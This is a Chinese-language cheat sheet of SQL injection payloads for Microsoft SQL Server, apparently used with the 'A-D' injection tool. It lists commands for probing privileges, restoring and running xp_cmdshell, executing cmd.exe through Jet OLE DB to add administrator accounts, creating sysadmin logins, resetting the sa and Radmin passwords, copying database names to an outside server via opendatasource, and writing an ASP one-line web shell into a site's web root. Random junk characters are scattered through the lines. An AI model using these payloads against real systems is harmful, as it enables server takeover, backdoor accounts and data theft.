阿D常用的一些注入命令
* F H9 P) j+ T7 a//看看是什么权限的
* a) {: L' z' h7 _# y! x: ~) B2 E0 Kand 1=(Select IS_MEMBER('db_owner'))* I7 G* v9 E/ ^
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--* [4 j' c1 r9 g; Y# h4 K2 u( J
. O- ]+ t1 G9 C7 c6 k7 v//检测是否有读取某数据库的权限2 V$ U- @. q4 o, q. ]
and 1= (Select HAS_DBACCESS('master'))
+ ~3 l& D( [' A8 D0 A! EAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
2 Y; _! }; k9 S0 u) e" x6 O: a9 `: N. j
! t: r" I) m& V数字类型
; g: D( i* s6 {! D8 g! wand char(124)%2Buser%2Bchar(124)=0
( \4 A, G+ s, ^( u) \; j3 f5 u% R! k
字符类型
) r$ E( `3 N1 {) S& [5 e/ r$ a: q' and char(124)%2Buser%2Bchar(124)=0 and ''='0 x8 O) W; w6 ]( |5 ^2 o
# _ i; ^$ j0 K& k! @& N5 X3 i/ }
搜索类型
; k3 `7 H5 H, _8 J' and char(124)%2Buser%2Bchar(124)=0 and '%'='
3 |* I& e7 y" z J" C: ?
U/ s, z$ X# N& n6 \爆用户名. Z m9 w- F( R2 m
and user>0% ` E! f# S8 b" z/ V: b8 u' k
' and user>0 and ''='3 x( ~1 b. i! ~( T7 p2 t5 U5 e
( a# {# {( I% e0 j' a( {/ }
检测是否为SA权限
2 J6 F1 c* s" c# @" h: R, I& u eand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
" a; M3 s1 f! C% j3 h/ O7 @And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --' y. \# v F. {) r
! s8 s6 \# b% d0 h7 k检测是不是MSSQL数据库
7 z$ T0 l9 ^, c E9 O/ T% j, W9 \- Xand exists (select * from sysobjects);--
5 z6 }1 W& e7 e4 e4 o1 y4 r9 S B4 J! E- g5 j( _( @8 U
检测是否支持多行
8 P ^5 X# Q# O( @) k$ x$ G;declare @d int;-- 6 f2 y: m7 {/ F4 P
& [8 k/ ~& g, S1 Z, v. K
恢复 xp_cmdshell
4 m0 X5 j0 z. h: }/ \0 f0 P;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--+ v% H: k/ N; O8 L- S+ _2 ?2 O; @# S
5 `) u0 I; H l# K* |1 v8 r; z, F* B/ P- F* V' I" f
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') 3 M- Z: f4 \( ~( g( a
& Q! W8 L' v6 v//-----------------------
5 D6 ~3 {: M* p// 执行命令& c" U8 @9 u$ C+ M$ c" _( Z9 N% b- m; o
//-----------------------2 k i- i% F: r9 b, ^
首先开启沙盘模式:
2 u3 @' {$ `) b$ \) p& n5 ?exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1( T, X8 Y# g/ r D2 l& p
. L2 W7 @8 a4 ~" z. E6 i
然后利用jet.oledb执行系统命令4 o8 T. S/ \4 \3 Z- G
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'). b/ Q4 G- p( a
6 G! D# u' T( W/ O1 ]执行命令6 p/ M- m7 H, r
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--9 @/ e" K9 P1 I9 G6 T6 e, G) h$ `
: ?) Q% ]& n% e' m( U
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
$ {& n6 b: Q; }0 `% v; T' `1 s, A J" [, P
判断xp_cmdshell扩展存储过程是否存在:+ g3 e J6 m2 |9 B' k4 g A
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')/ G6 z7 L5 ?0 F2 W
, |$ M7 o4 Q0 T2 o9 {
写注册表
) C* Z- Y! ^' c g2 O' x3 Mexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1- J# t& D$ x7 S2 P! c6 i: U
+ ^, U* B/ I! `3 q/ `REG_SZ
9 R. d% l; A# P1 N$ C7 D& c2 F( w( B; _4 V0 p
读注册表! k$ }& O. x( y6 h1 p8 t. V
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
4 p3 M9 v1 H1 D, k [/ x( [5 M# I9 m& r1 Q+ l
读取目录内容, e4 z# v6 \8 ]$ p6 P9 Z
exec master..xp_dirtree 'c:\winnt\system32\',1,1: W6 |2 T) [! W" S5 z- v
( Q/ a6 g4 a- m- g" J
# S2 g* `+ t9 {) z2 g1 I数据库备份
; @4 ?& z/ Y: T! l* Ybackup database pubs to disk = 'c:\123.bak'% W3 K) T4 ~! u
( ?& [0 b! y! d5 h, ~' M- p) N9 J//爆出长度
6 g+ a/ C1 \3 N v0 Y2 F, u4 ~And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
& _2 U+ z N' e; v, }) j( [; W3 n5 Q2 H1 Y! ^/ W, f# m$ a# f c
! T7 C. U$ r) L1 M4 r4 X0 T5 v4 C
4 O1 z# S2 X3 Q6 v更改sa口令方法:用sql综合利用工具连接后,执行命令:1 t' G# C/ r# a) e7 w
exec sp_password NULL,'新密码','sa'
6 b& c2 X, r; l+ x0 ~" s/ i
, z3 |" D" ^1 O) p0 ?, q添加和删除一个SA权限的用户test:, t4 J6 ~/ Z" ^( m$ D
exec master.dbo.sp_addlogin test,ptlove0 _% e8 y8 K& J5 J
exec master.dbo.sp_addsrvrolemember test,sysadmin: c6 X; G2 K6 n+ U
; y2 Y! o1 B! q$ ?删除扩展存储过过程xp_cmdshell的语句:
& D8 |. C0 h% a+ r1 k: uexec sp_dropextendedproc 'xp_cmdshell'
3 m: j2 d4 V8 G7 G, v5 x" v5 R; E
; r4 e6 e- c+ j添加扩展存储过过程
- Z& B# n6 D- t& a: ] pEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 9 a5 H1 T% x7 x& V% y
GRANT exec On xp_proxiedadata TO public - ?) b- Y9 b( d8 f* W8 x' @
2 n6 m+ o* D/ m$ P* R/ J2 b6 B# ]: @9 Z+ z5 u2 M
停掉或激活某个服务。 + [7 W B2 x2 p% p" G+ T- I
# l4 q1 w6 }$ k% y' h! b5 Z$ M
exec master..xp_servicecontrol 'stop','schedule'# E5 V8 l! G' U, R) U% T
exec master..xp_servicecontrol 'start','schedule'
" L7 L7 U' y! b, ]+ g" Q M) y$ b& |% O+ q. C2 ]0 V2 V
dbo.xp_subdirs
8 s0 o# Z" r O; I k4 p4 V/ x. E- O- I8 G) }
只列某个目录下的子目录。
: Z" c2 J( ^( \1 Hxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'% ^6 r, W7 z: D3 b0 y
* [* h( T) ]1 o, G- `; P
dbo.xp_makecab( @4 `' L- A% P5 s( |1 d$ R
" q6 I& {8 p- B+ m7 g
将目标多个档案压缩到某个目标档案之内。4 a9 s! |, H# h V
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
, y6 V& ]# H' C* X6 A
( V% R* Y6 \: r& A! L! Kdbo.xp_makecab
% s; d& t, q3 g0 c, v'c:\test.cab','mszip',1,
1 `7 N& F; [' s* O3 C- i y" y'C:\Inetpub\wwwroot\SQLInject\login.asp',8 P1 @% m, a6 q: }
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'9 L$ H4 u' f1 Z) k; Q- T4 G
+ n& L4 X- |# Y$ ~7 z# T& Nxp_terminate_process
* m( h$ a7 F% B- N
1 I4 ?3 o: g4 O0 l9 `停掉某个执行中的程序,但赋予的参数是 Process ID。
9 l, Y% Q% b* |+ F2 c+ L利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
, h) f) ^0 X5 F9 k" A
9 V# \( l/ c- f' Y, X5 X; _9 p# xxp_terminate_process 2484
/ k% l$ ~- o1 E2 t; T
1 m; P4 O8 Z! f7 U( {, wxp_unpackcab
* d- \1 `. s$ L- [# ?6 {( k' e7 r# Z2 P* n2 @
解开压缩档。
, X0 P! c! o; v% g S( x% z% _7 f9 d' C
xp_unpackcab 'c:\test.cab','c:\temp',1
4 ?5 c1 h$ B/ e+ I4 M$ ]( k
6 w% M( r- \: n9 }% U3 Z6 |5 @- _+ E$ E
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12347 Y. t6 h) ?3 @0 `
- w! r) U% S3 z9 v/ d. u6 Kcreate database lcx;/ x5 k3 _8 }& J5 S2 @
Create TABLE ku(name nvarchar(256) null);
8 | l& r$ a0 G0 U, v; cCreate TABLE biao(id int NULL,name nvarchar(256) null);: @( t: o8 D0 ]+ G6 R! @/ d
& K# k2 K( G9 b//得到数据库名
2 s# R" v1 h" U7 w$ |9 ginsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases$ S& z5 r# w$ r1 H8 R5 P2 }; n
' p7 T ]8 C- _- T; Z
" `1 B. U# V L//在Master中创建表,看看权限怎样
# A! L+ o8 ]' n4 w0 {Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
: a7 [( [9 \0 Y$ Z7 p% d k- ~0 ~8 d( c y7 A
用 sp_makewebtask直接在web目录里写入一句话马:1 `) S3 G# ]5 L" K: ` f, d& q* ^2 ?
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--( ?% t! c- i3 n6 E; E, K
6 `- I& R- T5 R$ C8 a: g* E
//更新表内容8 Y6 Y6 g$ M: c( i! h1 F4 {6 w, g
Update films SET kind = 'Dramatic' Where id = 123
4 A4 L+ p, l J+ y6 i) S
% z# {2 ^( b/ U; }7 A# l//删除内容
, Y ~: E: g' |% Xdelete from table_name where Stockid = 3 |